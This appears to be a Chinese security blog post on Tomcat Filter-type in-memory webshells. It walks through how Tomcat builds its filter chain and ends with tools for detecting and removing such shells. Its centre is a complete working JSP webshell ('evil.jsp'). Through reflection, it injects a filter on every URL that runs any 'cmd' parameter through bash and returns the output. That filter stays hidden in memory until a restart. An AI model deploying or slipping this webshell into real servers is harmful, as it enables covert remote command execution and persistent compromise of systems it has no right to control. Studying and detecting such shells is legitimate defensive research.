0x00 前言

博客文章链接:http://wjlshare.com/archives/1529

一直以来听大哥们都在讨论内存马,但是自己始终没有学习这个,正好最近一直都在学习 Java 这块,所以借此机会来学习一下,文章有可能会写的比较浅显还望师傅们见谅,如果文章中有错误还请师傅们加微信指正

0x01 Tomcat 简介

这里简单的介绍一下,具体的可以看下方参考链接内容

参考链接:https://www.cnblogs.com/whgk/p/6399262.html

Servlet

Servlet 是一种处理请求和发送响应的程序,Servlet是为了解决动态页面而衍生的东西

Tomcat 与 Servlet 的关系

参考链接:https://www.freebuf.com/articles/system/151433.html

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Tomcat 容器

在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

参考链接:http://li9hu.top/tomcat内存马一-初探/

Tomcat 内存马学习(一):Filter型 - 图1

0x02 内存马简单介绍

参考链接:https://gv7.me/articles/2020/kill-java-web-filter-memshell/

由于现在各种防护措施越来越多,文件shell就如c0ny1师傅所说的大部分已经气数已尽,内存马因其隐蔽性等优点从而越来越盛行

内存马主要分为以下几类:

  1. servlet-api类
    • filter型
    • servlet型
  2. spring类
    • 拦截器
    • controller型
  3. Java Instrumentation类
    • agent型

我们本文只重点介绍 Filter型的内存马

学过 Servlet 的应该都知道 filter (过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图

参考链接:https://paper.seebug.org/1441/#1jsp-webshell

Tomcat 内存马学习(一):Filter型 - 图2

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

所以我们后文的目标:动态注册恶意 Filter,并且将其放到 最前面

0x03 Tomcat Filter 流程分析

在上文我们已经介绍过了 Filter ,那么在注入 Filter内存马 之前我们先来分析一下正常 Filter 在 Tomcat中的流程是怎么样的

首先在IDEA中创建Servlet,如不知道如何创建可看下方链接

https://blog.csdn.net/gaoqingliang521/article/details/108677301

自定义 filter:

  1. import javax.servlet.*;
  2. import java.io.IOException;
  3. public class filterDemo implements Filter {
  4. public void init(FilterConfig filterConfig) throws ServletException {
  5. System.out.println("Filter 初始化创建");
  6. }
  7. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  8. System.out.println("执行过滤操作");
  9. filterChain.doFilter(servletRequest,servletResponse);
  10. }
  11. public void destroy() {}
  12. }

然后在web.xml中注册我们的filter,这里我们设置url-pattern为 /demo 即访问 /demo 才会触发

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.filterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>

</web-app>

访问 http://localhost:8080/demo ,发现成功触发

Tomcat 内存马学习(一):Filter型 - 图3

参考链接:https://paper.seebug.org/1441/#1jsp-webshell

在具体分析流程之前我们先介绍一下后面会遇到的几个类:(最后再来分析一下

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的

首先会通过 configureContext 解析 web.xml 然后返回 webXml 实例

Tomcat 内存马学习(一):Filter型 - 图4

Tomcat 内存马学习(一):Filter型 - 图5

在 StandardWrapperValve 中会利用 ApplicationFilterFactory 来创建filterChain(filter链),我们跟进这个方法

Tomcat 内存马学习(一):Filter型 - 图6

我们看到红框处的代码,首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 filterMaps

Tomcat 内存马学习(一):Filter型 - 图7

filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看

Tomcat 内存马学习(一):Filter型 - 图8

发现会遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 想匹配,就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,跟进addFilter函数

Tomcat 内存马学习(一):Filter型 - 图9

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

Tomcat 内存马学习(一):Filter型 - 图10

至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

Tomcat 内存马学习(一):Filter型 - 图11

在 doFilter 方法中会调用 internalDoFilter方法

Tomcat 内存马学习(一):Filter型 - 图12

在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig

然后会调用 getFilter() 将 filter 从 filterConfig 中取出,调用 filter 的 doFilter方法

Tomcat 内存马学习(一):Filter型 - 图13

从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码

Tomcat 内存马学习(一):Filter型 - 图14

最后放一张来自宽字节安全的图

Tomcat 内存马学习(一):Filter型 - 图15

这里做一个简单的总结:

  1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

根据上面的简单总结,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell

0x04 Filter型内存马注入

该方法只能在 tomcat 7.x 以上利用具体原因会在后文提到

参考链接:https://paper.seebug.org/1441/#1_1,[https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w](https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w)

前面说到当组装我们的过滤器链的时候 ,是从context中获取到的 FiltersMaps

Tomcat 内存马学习(一):Filter型 - 图16

那么我们如何获取这个context 呢?

当我们能直接获取 request 的时候,我们这里可以直接使用如下方法

将我们的 ServletContext 转为 StandardContext 从而获取 context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

        ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 这样我们就获取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

其他的获取 context 的方法( 暂时还未仔细研究,所以这里就先放链接了)

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

获取到 Context 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关,那么如果我们可以控制这几个变量那么我们或许就可以注入我们的内存马

Tomcat 内存马学习(一):Filter型 - 图17

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

Tomcat 内存马学习(一):Filter型 - 图18

参考链接:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 首先判断名字是否存在,如果不存在我们就进行注入
  if (filterConfigs.get(name) == null){
            // 创建恶意 Filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        /**
         * 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
         */
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());

        // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
        standardContext.addFilterDef(filterDef);

        /**
         * 创建一个filtermap
         * 设置filter的名字和对应的urlpattern
         */
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
            // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        /**
         * 将filtermap 添加到 filterMaps 中的第一个位置
         */
        standardContext.addFilterMapBefore(filterMap);

        /**
         * 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
         */
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        /**
         * 将 name 和 filterConfig 作为 key-value进行传入
         */
        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }

ps:前文说到该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

    filterMap.setDispatcher(DispatcherType.REQUEST.name());

最终内存马如下:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "KpLi0rn";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

开启服务,访问 evil.jsp 显示注入成功

Tomcat 内存马学习(一):Filter型 - 图19

然后只需 ?cmd=Command 即可执行我们的命令

Tomcat 内存马学习(一):Filter型 - 图20

0x05 排查内存马的几个方法

正好后面实习要去做相关防御的工作,所以想着如何从防御者的角度来发现内存马并进行删除,这里找了几个工具下面简单提一下,后面再深入学习一下

参考链接:https://syst1m.com/post/memory-webshell/#arthas

arthas

项目链接:https://github.com/alibaba/arthas

我们可以利用该项目来检测我们的内存马

java -jar arthas-boot.jar --telnet-port 9998 --http-port -1

这里也可以直接 java -jar arthas-boot.jar

这里选择我们 Tomcat 的进程

Tomcat 内存马学习(一):Filter型 - 图21

输入 1 之后会进入如下进程

Tomcat 内存马学习(一):Filter型 - 图22

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类?

Tomcat 内存马学习(一):Filter型 - 图23

利用jad --source-only org.apache.jsp.evil_jsp 直接将 Class 进行反编译

Tomcat 内存马学习(一):Filter型 - 图24

同时也可以进行监控 ,当我们访问 url 就会输出监控结果

watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

Tomcat 内存马学习(一):Filter型 - 图25

copagent

项目链接:https://github.com/LandGrey/copagent

也是一款可以检测内存马的工具

Tomcat 内存马学习(一):Filter型 - 图26

java-memshell-scanner

项目链接:https://github.com/c0ny1/java-memshell-scanner

c0ny1 师傅写的检测内存马的工具,能够检测并且进行删除,是一个非常方便的工具

Tomcat 内存马学习(一):Filter型 - 图27

该工具是由 jsp 实现的,我们这里主要来学习一下 c0ny1 师傅 删除内存马的逻辑

检测是通过遍历 filterMaps 中的所有 filterMap 然后显示出来,让我们自己认为判断,所以这里提供了 dumpclass

Tomcat 内存马学习(一):Filter型 - 图28

删除的话,这里主要是通过反射调用 StandardContext#removeFilterDef 方法来进行删除Tomcat 内存马学习(一):Filter型 - 图29

Tomcat 内存马学习(一):Filter型 - 图30

0x06 总结

内存马远不止这些,本文中内存马还是需要上传 jsp 来生效,但是实际上利用方式远不止这样,我们还可以借助各种反序列化来动态注册 Filter 等,本文相当于是开篇,后面会继续学习内存马相关技术